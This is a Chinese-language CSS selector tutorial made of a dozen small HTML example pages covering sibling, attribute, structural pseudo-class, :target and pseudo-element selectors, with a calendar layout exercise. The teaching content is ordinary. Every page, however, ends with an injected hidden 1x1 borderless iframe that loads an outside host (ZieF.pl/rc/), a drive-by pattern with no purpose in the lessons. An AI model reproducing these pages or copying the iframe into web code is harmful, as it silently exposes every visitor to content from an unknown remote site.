之前學過的選擇器
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/*
之前學過的選擇器：
div{}
.box 類名選擇器
#box id選擇器
div p 后代選擇器
div.box 交集選擇器
div,p,span 并集選擇器
div>p 子代
* : 通配符
div+p: 選中div后面相鄰的第一個p
div~p: 選中的div后面所有的p
*/
/* div后面的第一個p*/
div+p{
background-color: red;
}
/* div 后面所有的p*/
div~p{
background-color: blue;
}
</style>
</head>
<body>
<div>divvvvvvvvvvvvv</div>
<span>span</span>
<p>ppppppppp</p>
<p>ppppppppp</p>
<p>ppppppppp</p>
<span>span</span>
<p>ppppppppp</p>
<p>ppppppppp</p>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
屬性選擇器
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
div{
width: 300px;
height: 50px;
border: 1px solid #000;
margin:20px auto;
text-align: center;
}
/*div{*/
/*background-color: red;*/
/*}*/
/* 屬性選擇器 [] 通過標簽屬性來選擇器*/
/*div[class]{*/
/*background-color: red;*/
/*}*/
/* div 帶有class屬性 ，并且值為 box1*/
/*div[class="box1"]{*/
/*background-color: pink;*/
/*}*/
/* div 帶有class屬性 ，并且值以 aa開頭
*/
/*div[class^="aa"]{*/
/*background-color: green;*/
/*}*/
/* div 帶有class屬性 ，并且值以 aa結尾*/
/*div[class$="aa"]{*/
/*background-color: yellow;*/
/*}*/
/* div 帶有class屬性 ，并且值包含aa*/
div[class*="aa"]{
background-color: #daa520;
}
</style>
</head>
<body>
<div class="box1">1</div>
<div class="aabox2">2</div>
<div class="bbbox3">3</div>
<div class="box4aa">4</div>
<div class="box5bb">5</div>
<div class="aabox6bb">6</div>
<div class="bbbox7aa">7</div>
<div>8</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
偽類選擇器
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/*
*: :hover :link :active :visited lvha
標志性符號：冒號（:）
*/
.box{
width: 200px;
height: 200px;
border: 1px solid #000;
}
.box:hover{
border-radius: 50%;
background-color: red;
}
</style>
</head>
<body>
<div class="box">
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
結構選擇器
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/*
*: :hover :link :active :visited lvha
標志性符號：冒號（:）
*/
.box{
width: 200px;
height: 200px;
border: 1px solid #000;
}
.box:hover{
border-radius: 50%;
background-color: red;
}
</style>
</head>
<body>
<div class="box">
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
結構偽類選擇器
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/*
符號： 冒號
結構偽類： 通過結構來進行篩選
*/
*{
margin: 0;
padding: 0;
list-style: none;
}
ul{
width: 520px;
height:auto;
margin:100px auto;
}
li{
float: left;
width: 70px;
height: 70px;
border: 1px solid #CCC;
text-align: center;
line-height: 70px;
margin-left:-1px;
margin-top:-1px;
}
/* 先找父元素 在里面指定的 那個標簽*/
/* 選中第一個*/
/*li:first-child{*/
/*background-color: pink;*/
/*}*/
/*/!* 選中最后一個*!/*/
/*li:last-child{*/
/*background-color: pink;*/
/*}*/
/*/!* 注意 編號從1開始 *!/*/
/*li:nth-child(11){*/
/*background-color: pink;*/
/*}*/
/*/!* 奇數*!/*/
/*li:nth-child(odd){*/
/*background-color: pink;*/
/*}*/
/*/!*偶數*!/*/
/*li:nth-child(even){*/
/*background-color: #eee;*/
/*}*/
/* n表示 0,1,2,3,4,5,6,7,8.....
當n小于1是無效
*/
/*/!*偶數*!/*/
/*li:nth-child(2n){*/
/*background-color: red;*/
/*}*/
/*/!*奇數*!/*/
/*li:nth-child(2n+1){*/
/*background-color: red;*/
/*}*/
/*選中前5個*/
/*li:nth-child(-n+5){*/
/*background-color: pink;*/
/*}*/
/* 選中后5個*/
/*li:nth-last-child(-n+5){*/
/*background-color: pink;*/
/*}*/
/* 選中7的倍數*/
li:nth-child(7n){
background-color: green;
}
li:nth-child(6n){
background-color: blue;
}
</style>
</head>
<body>
<ul>
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
<li>5</li>
<li>6</li>
<li>7</li>
<li>8</li>
<li>9</li>
<li>10</li>
<li>11</li>
<li>12</li>
<li>13</li>
<li>14</li>
<li>15</li>
<li>16</li>
<li>17</li>
<li>18</li>
<li>19</li>
<li>20</li>
<li>21</li>
<li>22</li>
<li>23</li>
<li>24</li>
<li>25</li>
<li>26</li>
<li>27</li>
<li>28</li>
<li>29</li>
<li>30</li>
<li>31</li>
<li>32</li>
<li>33</li>
<li>34</li>
<li>35</li>
</ul>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
結構為類的的問題
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
em:nth-child(3){
background-color: red;
}
</style>
</head>
<body>
<div>
<span>spanspan</span>
<p>ppppppppppp</p>
<em>ememmmmmmmmmmmmm</em>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
empty
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/*:
empty: 空的
*/
div{
width: 300px;
height: 100px;
border: 1px solid #000;
margin-top:20px;
}
/* 如果div是空的則會被選中*/
div:empty{
background-color: red;
}
</style>
</head>
<body>
<div></div>
<div>
<span>span</span>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
target偽類選擇器
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
.nav{
position: fixed;
left:0;
top:100px;
}
.content{
width: 800px;
margin: 0 auto;
}
/* :target 偽類 要配合錨點使用 */
/* 表示被激活的狀態*/
h2:target{
color: red;
font-family: "Microsoft Yahei";
}
</style>
</head>
<body>
<ul class="nav">
<li><a href="#title1">CSS (層疊樣式表)</a></li>
<li><a href="#title2">實例</a></li>
<li><a href="#title3">發展歷史</a></li>
<li><a href="#title4">發展歷史</a></li>
<li><a href="#title5">布局特點</a></li>
<li><a href="#title6">創建編輯</a></li>
</ul>
<div class="content">
<h2 id="title1">CSS (層疊樣式表)</h2>
<p>層疊樣式表是一種用來表現HTML（標準通用標記語言的一個應用）或XML（標準通用標記語言的一個子集）等文件樣式的計算機語言。</p>
<p>CSS目前最新版本為CSS3，是能夠真正做到網頁表現與內容分離的一種樣式設計語言。相對于傳統HTML的表現而言，CSS能夠對網頁中的對象的位置排版進行像素級的精確控制，支持幾乎所有的字體字號樣式，擁有對網頁對象和模型樣式編輯的能力，并能夠進行初步交互設計，是目前基于文本展示最優秀的表現設計語言。CSS能夠根據不同使用者的理解能力，簡化或者優化寫法，針對各類人群，有較強的易讀性。</p>
<h2 id="title2">實例</h2>
<p>如果你要在HTML元素中設置CSS樣式，你需要在元素中設置"id" 和 "class"選擇器。[1] d 選擇器可以為標有特定 id 的 HTML 元素指定特定的樣式。HTML元素以id屬性來設置id選擇器,CSS 中 id 選擇器以 "#" 來定義。以下的樣式規則應用于元素屬性 id="para1":</p>
<p>class 選擇器用于描述一組元素的樣式，class選擇器有別于id選擇器，class可以在多個元素中使用。class 選擇器在HTML中以class屬性表示, 在 CSS 中，類選擇器以一個點"."號顯示：在以下的例子中，所有擁有 center 類的 HTML 元素均為居中。</p>
<h2 id="title3">發展歷史</h2>
<p>作為一項W3C推薦，CSS1發布于 1996年12月17 日。1999 年1月11日，此推薦被重新修訂。</p>
<p>作為一項 W3C 推薦，CSS2發布于 1999年1月11日。CSS2添加了對媒介（打印機和聽覺設備）和可下載字體的支持。</p>
<h2 id="title4">使用方法</h2>
<p>有三種方法可以在站點網頁上使用樣式表：外聯式Linking（也叫外部樣式）：將網頁鏈接到外部樣式表。嵌入式Embedding（也叫內頁樣式）：在網頁上創建嵌入的樣式表。內聯式Inline（也叫行內樣式）：應用內嵌樣式到各個網頁元素。其中，優先級：內聯式 > 嵌入式 > 外聯式</p>
<p>當樣式需要被應用到很多頁面的時候，外部樣式表將是理想的選擇。使用外部樣式表，你就可以通過更改一個文件來改變整個站點的外觀。</p>
<p>當特殊的樣式需要應用到個別元素時，就可以使用內聯樣式。 使用內聯樣式的方法是在相關的標簽中使用樣式屬性。樣式屬性可以包含任何 CSS 屬性。以下實例顯示出如何改變段落的顏色和左外邊距。</p>
<h2 id="title5">布局特點</h2>
<p>對于蜘蛛在爬行一個網站的頁面時，若是有太多的垃圾代碼，會使搜索蜘蛛對其產生不友好、不信任感，同時蜘蛛的爬行速度也會因此而減緩，對于網站SEO而言，可謂一大忌。就如傳統的用table頁面，對此我們就需要對網站進行代碼優化，而這便需要動用CSS+div了，下面便來談談使用CSS+div進行代碼優化的一些益處。</p>
<p>網站使用DIV+CSS布局使代碼很是精簡，相信大多朋友也都略有所聞，css文件可以在網站的任意一個頁面進行調用，而若是使用table表格修改部分頁面卻是顯得很麻煩。要是一個門戶網站的話，需手動改很多頁面，而且看著那些表格也會感覺很亂也很浪費時間，但是使用css+div布局只需修改css文件中的一個代碼即可。</p>
<p>采用div-css布局的網站對于搜索引擎很是友好，因此其避免了Table嵌套層次過多而無法被搜索引擎抓取的問題，而且簡潔、結構化的代碼更加有利于突出重點和適合搜索引擎抓取。</p>
<h2 id="title6">創建編輯</h2>
<p>創建和編輯css更加常用的是AdobeDreamweaver系列軟件，可視化編輯更利于web工程師快速的創建和編輯css，新版本CS5.0、CS5.5、CS6.0、CC，包含Adobe BrowserLab，用于針對多種瀏覽器測試css的兼容性。Adobe Dreamweaver是一個css創建和編輯必不可少的利器！</p>
<p>FrontPage2000 包含有能用來為站點創建外部樣式表的模板。可以用空白模板或已包含樣式的模板來創建（例如 Arcs）。當保存樣式表時， FrontPage 會以 . css 作為文件擴展名。要編輯樣式表，請雙擊文件夾列表中的樣式表。</p>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
為元素befor和after
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/* 偽 元素： 偽：假的 元素：標簽* （:after :before css2 不推薦 ）
標志性符號： 雙冒號(::)
::before ,::after 通過 css 模擬出來html標簽的效果
注意：必須有content屬性才行，
*/
span::before{
content:"今天";
color:red;
background-color: pink;
width: 50px;
height: 50px;
display: inline-block;
}
span::after{
content:"真好";
color:green;
}
span{
border: 1px solid #000;
}
</style>
</head>
<body>
<!-- 元素 標簽 節點 -->
<!--<span>今天</span><span>天氣</span><span>真好</span>-->
<span>天氣</span>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
first-letter
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
/*偽元素選擇器*/
/* 選中第一個字母*/
li::first-letter{
color:red;
font-size:30px;
}
</style>
</head>
<body>
<ul>
<li>As long as the effort of deep strokes fell great oaks</li>
<li>只要功夫深，鐵杵磨成針</li>
<li>深いストロークの努力が大きな樫の落ちた限り</li>
</ul>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
first-line
Snip20170625_23.png
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<style>
div{
width: 500px;
border: 1px solid #000;
height: 300px;
}
/* 選中第一行的偽元素的選擇器*/
div::first-line{
color:red;
}
</style>
</head>
<body>
<div>
2010年，參加湖南衛視選秀娛樂節目《快樂男聲》成都唱區的比賽，海選時演唱王菲的《傳奇》以及原創歌曲《飄》，順利晉級成都唱區120強[4] ；同年5月22日，湖南衛視播出的《快樂男聲》成都唱區25強爭奪賽中，最終遺憾出局，止步于成都唱區35強[1] ；同年6月，正式簽約北京音悅榮樂創意文化演出公司[1] ；同年，受邀參加星空衛視女性脫口秀節目《Lady呱呱》的節目錄制[5] ；同年7月，登上了女性美容雜志《女刊瘦美人》的封面，并與該雜志簽約為專欄作家，分享自己的瘦身美容秘訣[6] ；同年8月29日，參加《舞動嘉年華第二季》頒獎典禮，并現場演唱歌曲《飄》；同年9月，推出首張個人EP專輯《無雙》，收錄了包括《從前以后》、《偷走我的心》等在內的5首歌曲[2] ；同年10月6日，在四川成都體育館舉辦“愛與包容綠色成都”個人演唱會，這是他的首場個人演唱會[7] ；同年10月10日，出席喜劇電影《一不留神》的首映典禮[8] ；同年11月10日，出席“陽乾2011年造型發布
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
首字下沉
Snip20170625_22.png
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>選擇器 - 日歷</title>
<style>
body, ul, dl, dt, dd {
margin: 0;
padding: 0;
}
body {
font-family: '微軟雅黑';
background-color: #F7F7F7;
color: #666;
}
.content {
width: 960px;
margin: 0 auto;
font-size: 20px;
}
p {
text-indent: 40px;
line-height: 1.5;
}
p:first-child {
text-indent: 0;
}
p:first-child::first-letter{
font-size:40px;
float: left;
color:red;
}
p::first-line{
color:blue;
}
/* ::selection 表示當前選中的區域 ， 通過設置 color background*/
p::selection{
background-color: rgba(255,0,0,0.3);
color:green;
}
</style>
</head>
<body>
<div class="content">
<p>
豫章故郡，洪都新府。星分翼軫，地接衡廬。襟三江而帶五湖，控蠻荊而引甌越。物華天寶，龍光射牛斗之墟；人杰地靈，徐孺下陳蕃之榻。雄州霧列，俊采星馳。臺隍枕夷夏之交，賓主盡東南之美。都督閻公之雅望，棨戟遙臨；宇文新州之懿范，襜帷暫駐。十旬休假，勝友如云；千里逢迎，高朋滿座。騰蛟起鳳，孟學士之詞宗；紫電青霜，王將軍之武庫。家君作宰，路出名區；童子何知，躬逢勝餞。(豫章故郡 一作：南昌故郡)
</p>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
日歷
Snip20170625_21.png
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>選擇器 - 日歷</title>
<style>
body, ul, dl, dt, dd {
margin: 0;
padding: 0;
}
body {
background-color: #F7F7F7;
}
ul {
list-style: none;
}
.calendar {
width: 385px;
height: 312px;
padding: 48px 141px 10px 12px;
margin: 100px auto;
background: url(./images/bg.jpg) 0 0 no-repeat;
}
.calendar dt, .calendar dd {
overflow: hidden;
}
.calendar span {
display: block;
width: 48px;
height: 48px;
text-align: center;
margin-right: 1px;
border: 3px solid transparent;
float: left;
}
.calendar dt {
border-top: 1px solid #5CADFF;
}
.calendar dt span {
height: 28px;
line-height: 34px;
font-size: 14px;
}
.calendar dd {
border-top: 1px solid #c8cacc;
cursor: pointer;
}
.calendar span > b,
.calendar span > b {
display: block;
line-height: 1;
}
.calendar span > b {
height: 26px;
line-height: 30px;
font-size: 18px;
font-family: Arial;
font-weight: normal;
}
.calendar span > i {
color: #999;
font-size: 12px;
font-style: normal;
}
.calendar dl dd span:hover{
/*金麒麟*/
border-color:#daa520;
}
/* .calendar dl dd span:nth-child(7n) b,
.calendar dl dd span:nth-child(7n-1) b{
color:red;
}
.calendar dl dd:last-child span:nth-last-child(-n+2) b{
color:#666;
}*/
</style>
</head>
<body>
<!-- 日歷 -->
<div class="calendar">
<dl>
<dt>
<span>一</span>
<span>二</span>
<span>三</span>
<span>四</span>
<span>五</span>
<span>六</span>
<span>日</span>
</dt>
<dd>
<span data-range="prev-month">
<b>30</b>
<i>十九</i>
</span>
<span class="today">
<b>1</b>
<i>艾滋病日</i>
</span>
<span>
<b>2</b>
<i>廿一</i>
</span>
<span>
<b>3</b>
<i>廿二</i>
</span>
<span>
<b>4</b>
<i>廿三</i>
</span>
<span>
<b>5</b>
<i>廿四</i>
</span>
<span>
<b>6</b>
<i>廿五</i>
</span>
</dd>
<dd>
<span data-flag="festival">
<b>7</b>
<i>廿六</i>
</span>
<span>
<b>8</b>
<i>廿七</i>
</span>
<span>
<b>9</b>
<i>廿八</i>
</span>
<span>
<b>10</b>
<i>廿九</i>
</span>
<span>
<b>11</b>
<i>初一</i>
</span>
<span>
<b>12</b>
<i>初二</i>
</span>
<span>
<b>13</b>
<i>初三</i>
</span>
</dd>
<dd>
<span>
<b>14</b>
<i>初四</i>
</span>
<span>
<b>15</b>
<i>初五</i>
</span>
<span>
<b>16</b>
<i>初六</i>
</span>
<span>
<b>17</b>
<i>初七</i>
</span>
<span>
<b>18</b>
<i>初八</i>
</span>
<span>
<b>19</b>
<i>初九</i>
</span>
<span>
<b>20</b>
<i>初十</i></span>
</dd>
<dd>
<span>
<b>21</b>
<i>十一</i>
</span>
<span data-flag="festival">
<b>22</b>
<i>十二</i>
</span>
<span>
<b>23</b>
<i>十三</i>
</span>
<span>
<b>24</b>
<i>十四</i>
</span>
<span>
<b>25</b>
<i>十五</i>
</span>
<span>
<b>26</b>
<i>十六</i>
</span>
<span>
<b>27</b>
<i>十七</i>
</span>
</dd>
<dd>
<span>
<b>28</b>
<i>十八</i>
</span>
<span>
<b>29</b>
<i>十九</i>
</span>
<span>
<b>30</b>
<i>二十</i>
</span>
<span>
<b>31</b>
<i>廿一</i>
</span>
<span data-range="next-month">
<b>1</b>
<i>元旦</i>
</span>
<span data-range="next-month">
<b>2</b>
<i>廿三</i>
</span>
<span data-range="next-month">
<b>3</b>
<i>廿四</i>
</span>
</dd>
</dl>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
